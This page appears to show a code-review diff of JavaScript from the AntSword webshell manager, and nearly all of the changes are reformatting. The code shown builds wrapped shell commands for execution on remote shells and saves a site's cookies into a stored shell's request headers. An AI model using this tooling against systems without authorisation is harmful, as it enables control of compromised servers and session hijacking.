'type',
'ping'
]
: [
'cd',
'ls',
'find',
'cp',
'mv',
'rm',
'ps',
'kill',
'file',
'tar',
'cat',
'chown',
'chmod',
'pwd',
'history',
'whoami',
'ifconfig',
'clear',
'ping'
])) ]))
}, },
keydown: (event, terminal) => { keydown: (event, terminal) => {
...@@ -443,11 +412,11 @@ class Terminal { ...@@ -443,11 +412,11 @@ class Terminal {
.replace(/\\\\/g, '\\') .replace(/\\\\/g, '\\')
.replace(/"/g, '\\"') .replace(/"/g, '\\"')
.replace(/\\/g, '\\\\'); .replace(/\\/g, '\\\\');
return (this.isWin return (this.isWin ?
? this.isPowershell this.isPowershell ?
? `cd "${path}";${cmd};echo [S];(pwd).path;echo [E]` `cd "${path}";${cmd};echo [S];(pwd).path;echo [E]` :
: `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` `cd /d "${path}"&${cmd}&echo [S]&cd&echo [E]` :
: `cd "${path}";${cmd};echo [S];pwd;echo [E]`); `cd "${path}";${cmd};echo [S];pwd;echo [E]`);
} }
/** /**
...@@ -456,11 +425,11 @@ class Terminal { ...@@ -456,11 +425,11 @@ class Terminal {
* @return {String} term输出字符串 * @return {String} term输出字符串
*/ */
parsePrompt(user) { parsePrompt(user) {
return antSword.noxss(this.isWin return antSword.noxss(this.isWin ?
? `[[b;white;]${this.path.replace(/\//g, '\\')}> ]` `[[b;white;]${this.path.replace(/\//g, '\\')}> ]` :
: (user (user ?
? `([[b;#E80000;]${user}]:[[;#0F93D2;]` `([[b;#E80000;]${user}]:[[;#0F93D2;]` :
: '[[;0F93D2;]') + this.path + ']) $ '); '[[;0F93D2;]') + this.path + ']) $ ');
} }
} }
......
...@@ -49,8 +49,7 @@ class ViewSite { ...@@ -49,8 +49,7 @@ class ViewSite {
const toolbar = this const toolbar = this
.cell .cell
.attachToolbar(); .attachToolbar();
toolbar.loadStruct([ toolbar.loadStruct([{
{
id: 'url', id: 'url',
width: 400, width: 400,
type: 'buttonInput', type: 'buttonInput',
...@@ -78,8 +77,7 @@ class ViewSite { ...@@ -78,8 +77,7 @@ class ViewSite {
type: 'button', type: 'button',
icon: 'save', icon: 'save',
text: LANG['toolbar'].save text: LANG['toolbar'].save
} }]);
]);
toolbar.attachEvent('onStateChange', (id, state) => { toolbar.attachEvent('onStateChange', (id, state) => {
switch (id) { switch (id) {
case 'useproxy': case 'useproxy':
...@@ -138,23 +136,25 @@ class ViewSite { ...@@ -138,23 +136,25 @@ class ViewSite {
*/ */
_refreshCookie() { _refreshCookie() {
CookieMgr CookieMgr
.get({url: this.opts['url']}) .get({
url: this.opts['url']
})
.then((cookie) => { .then((cookie) => {
let data = []; let data = [];
cookie.map((c, i) => { cookie.map((c, i) => {
data.push({ data.push({
id: i + 1, id: i + 1,
data: [ data: [
c.name, c.value, c.domain, c.path, c.session c.name, c.value, c.domain, c.path, c.session ?
? 'Session' 'Session' :
: new Date(c.expirationDate).toUTCString(), new Date(c.expirationDate).toUTCString(),
c.name.length + c.value.length, c.name.length + c.value.length,
c.httpOnly c.httpOnly ?
? 'httpOnly' 'httpOnly' :
: '', '',
c.secure c.secure ?
? 'Secure' 'Secure' :
: '' ''
] ]
}); });
}); });
...@@ -176,13 +176,17 @@ class ViewSite { ...@@ -176,13 +176,17 @@ class ViewSite {
*/ */
_saveCookie() { _saveCookie() {
CookieMgr CookieMgr
.getStr({url: this.opts.url}) .getStr({
url: this.opts.url
})
.then((cookie) => { .then((cookie) => {
// 1. 获取旧数据 // 1. 获取旧数据
const oldHttpConf = (antSword.ipcRenderer.sendSync('shell-findOne', this.opts._id).httpConf || {}); const oldHttpConf = (antSword.ipcRenderer.sendSync('shell-findOne', this.opts._id).httpConf || {});
// 2. 添加新数据(cookie) // 2. 添加新数据(cookie)
const httpConf = Object.assign({}, oldHttpConf, { const httpConf = Object.assign({}, oldHttpConf, {
headers: Object.assign({}, oldHttpConf.headers || {}, {Cookie: cookie}) headers: Object.assign({}, oldHttpConf.headers || {}, {
Cookie: cookie
})
}) })
// 3. 更新数据 // 3. 更新数据
const ret = antSword const ret = antSword
......
...@@ -11,7 +11,7 @@ ...@@ -11,7 +11,7 @@
class Tabbar { class Tabbar {
constructor(opts) { constructor(opts) {
// 生成一个随机ID,用于指定唯一的面板 // 生成一个随机ID,用于指定唯一的面板
let id = 'tabbar_' + (Math.random() * + new Date) let id = 'tabbar_' + (Math.random() * +new Date)
.toString(16) .toString(16)
.replace('.', '') .replace('.', '')
.substr(0, 11); .substr(0, 11);
...@@ -86,9 +86,9 @@ class Tabbar { ...@@ -86,9 +86,9 @@ class Tabbar {
* @return {Object} this * @return {Object} this
*/ */
showLoading(loading = true) { showLoading(loading = true) {
this.cell[loading this.cell[loading ?
? 'progressOn' 'progressOn' :
: 'progressOff'](); 'progressOff']();
return this; return this;
} }
} }
......
...@@ -16,13 +16,15 @@ class Window { ...@@ -16,13 +16,15 @@ class Window {
*/ */
constructor(opts) { constructor(opts) {
// 生成一个随机ID,用于指定唯一的窗口 // 生成一个随机ID,用于指定唯一的窗口
let id = 'win_' + (Math.random() * + new Date) let id = 'win_' + (Math.random() * +new Date)
.toString(16) .toString(16)
.replace('.', '') .replace('.', '')
.substr(0, 11); .substr(0, 11);
// 默认配置 // 默认配置
let opt = $.extend({ let opt = $.extend({
title: id, width: 500, height: 400, title: id,
width: 500,
height: 400,
// 在那个dom内显示 // 在那个dom内显示
view: document.body view: document.body
}, opts); }, opts);
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment